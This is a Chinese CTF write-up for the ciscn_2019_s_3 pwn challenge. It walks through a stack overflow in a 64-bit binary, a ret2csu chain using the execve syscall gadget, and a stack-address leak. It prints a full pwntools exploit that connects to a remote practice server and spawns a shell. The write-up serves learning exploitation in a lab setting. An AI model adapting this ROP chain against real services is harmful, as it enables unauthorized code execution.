ciscn_s_3


ciscn_2019_s_3

检查保护机制,64位,开NX

IDA打开,查看main函数,里面只有一个vuln函数

再查看vuln函数,一个sys_read,一个sys_write,写入0x400,读0x30,这里就发现栈溢出的漏洞

然后又发现了一个gadget函数

这里要注意:

mov rax, 15 sys_rt_sigreturn

mov rax, 59 sys_execve

gadget函数没有被直接调用,该函数设置了rax=15并返回,推测可能和系统调用号有关。查到ubuntu18 64位系统调用号15为rt_sigreturn,用于恢复从用户态进入内核态所保存的上下文(即寄存器信息),59为execve,作用是执行一个新的程序,程序可以是二进制的可执行程序,也可以是shell、pathon脚本

解题思路:

59号系统调用是execve那么就可以想办法控制寄存器的值调用execve(“/bin/sh”,0,0),注意在调用execve时,后面两个参数需要置0,由于需要控制rdx的值,所以选择使用通用gadget,__libc_csu_init。

r13的值会给到rdx,让rbx=0,下面call的时候会变为call [r12],会去call r12指向位置的代码,我们可以调到后面的rop执行,所以需要知道栈的地址,我们获取/bin/sh字符串时也需要知道栈地址。这题刚好在write的时候0x28这个位置是栈上的值,于是通过计算可以得到栈上/bin/sh的地址,即rsp-0x10的值。

解题过程:

exp:

from pwn import *

io=remote("node3.buuoj.cn",28640)
#io=process('./ciscn_s_3')
main=0x0004004ED
execve=0x04004E2
pop_rdi=0x4005a3
pop_rbx_rbp_r12_r13_r14_r15=0x40059A
mov_rdxr13_call=0x0400580 
sys=0x00400517

payload1=b'/bin/sh\x00'*2+p64(main)
io.send(payload1)
io.recv(0x20)
sh=u64(io.recv(8))-280
print(hex(sh))

payload2=b'/bin/sh\x00'*2+p64(pop_rbx_rbp_r12_r13_r14_r15)+p64(0)*2+p64(sh+0x50)+p64(0)*3
payload2+=p64(mov_rdxr13_call)+p64(execve)
payload2+=p64(pop_rdi)+p64(sh)+p64(sys)
io.send(payload2)

io.interactive()

cat flag!


文章作者: Pr0b1em
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 Pr0b1em !
  目录